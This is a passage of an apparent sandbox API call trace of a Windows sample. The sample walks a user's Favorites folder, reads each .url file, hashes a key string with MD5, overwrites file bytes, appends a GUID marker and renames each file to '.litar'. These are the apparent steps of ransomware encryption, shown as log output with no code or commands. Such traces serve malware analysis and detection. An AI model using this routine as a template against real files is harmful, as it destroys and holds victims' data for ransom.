hHeap=0x5c0000) returned 1 [0125.990] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.990] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.990] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.990] CloseHandle (hObject=0x624) returned 1 [0125.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0125.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0125.991] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.litar")) returned 1 [0125.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.991] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0125.992] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0125.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0125.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0125.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0125.993] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned=".url" [0125.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.993] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.993] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.995] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.995] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.996] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.996] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.996] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.996] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.996] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.996] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0125.997] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.997] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.997] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.997] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.997] GetLastError () returned 0x0 [0125.997] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.997] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0125.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.997] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.997] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.998] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.998] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.998] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.998] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.998] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.998] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.998] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.998] CloseHandle (hObject=0x624) returned 1 [0125.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.999] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0125.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.999] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.litar")) returned 1 [0125.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.999] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.000] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd8818 | out: hHeap=0x5c0000) returned 1 [0126.000] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0126.000] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30843f0 | out: hHeap=0x5c0000) returned 1 [0126.001] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x30843f0 [0126.001] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.001] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.002] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.002] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.003] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.004] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084558 | out: hHeap=0x5c0000) returned 1 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084558 [0126.005] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.005] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.005] HeapFree (in: hHeap=0x5c0000, 